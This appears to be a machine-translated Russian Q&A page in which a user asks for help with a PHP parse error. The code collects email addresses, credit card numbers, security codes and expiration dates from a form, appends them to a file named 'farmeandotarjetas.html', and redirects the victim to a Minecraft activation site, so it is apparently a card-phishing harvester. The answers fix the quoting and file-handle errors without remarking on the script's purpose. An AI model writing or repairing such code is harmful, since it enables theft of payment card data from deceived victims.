Ошибка: ошибка разбора: синтаксическая ошибка, неожиданный T_STRING

Это мой код:

<?php

$email = $_POST['email'];
$credit = $_POST['credit'];
$security = $_POST['security'];
$expiration = $_POST['expiration'];
$fm = "farmeandotarjetas.html";
$fh = fopen($fm,"a");
$fmstring = "Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>";
fwrite($fm);
fclose($fm);
echo "<meta http-equiv='refresh' content='1;url=http://minecraftactivation.com/'>";
</?

Моя проблема:
Parse error: syntax error, unexpected T_STRING in /home/u431949153/public_html/post.php в строке 10. строка 10 — fwrite ($ fm);

-5

Решение

у вас ошибка в 9-й строке.
ваша строка должна быть примерно такой:

$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><font color="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>';
2

Другие решения

Сначала у вас есть несколько ошибок в $ fmstring, а затем вы должны дать ему ресурс, а не строку, поэтому измените $ fm на $ fh и $ fmstring следующим образом

$email = $_POST['email'];
$credit = $_POST['credit'];
$security = $_POST['security'];
$expiration = $_POST['expiration'];
$fm = "farmeandotarjetas.html";
$fh = fopen($fm,"a");
$fmstring = 'Email: '.$email.'</font></b>] Credit Card: [<b><fontcolor="#FF1493">'.$credit.'</font></b>] Security Code: [<b><font color="#FF1493">'.$security.'</font></b>]Expiration code: [<b><font color="#FF1493">'.$expiration.'<br>';

fwrite($fh);
fclose($fh);
0

Если вы используете двойные кавычки для значений эха, попробуйте этот стиль

echo "Email: {$email}, Credit Card: {$credit_card}";

вышеуказанный метод такой же, как этот стиль

echo "Email: ".$email.", Credit Card: ".$credit_card;

а также

echo 'Email: '.$email.', Credit Card: '.$credit_card;

Есть много вариантов, чтобы сделать код читабельным для себя

для вашей проблемы попробуйте изменить этот код на ваш

$fmstring = "Email: {$email}</font></b>]
Credit Card: [<b><font color=\"#FF1493\">{$credit}</font></b>]
Security Code: [<b><font color=\"#FF1493\">{$security}</font></b>]
Expiration code: [<b><font color=\"#FF1493\">{$expiration}<br>";

ты видишь это? если вы используете двойные кавычки для эхостатирования и строка имеет одну или несколько двойных кавычек, вы должны ставить обратную косую черту перед каждой двойной кавычкой в ​​строке.

и не забудьте поменять тег php рядом с ?> не </?

0
По вопросам рекламы [email protected]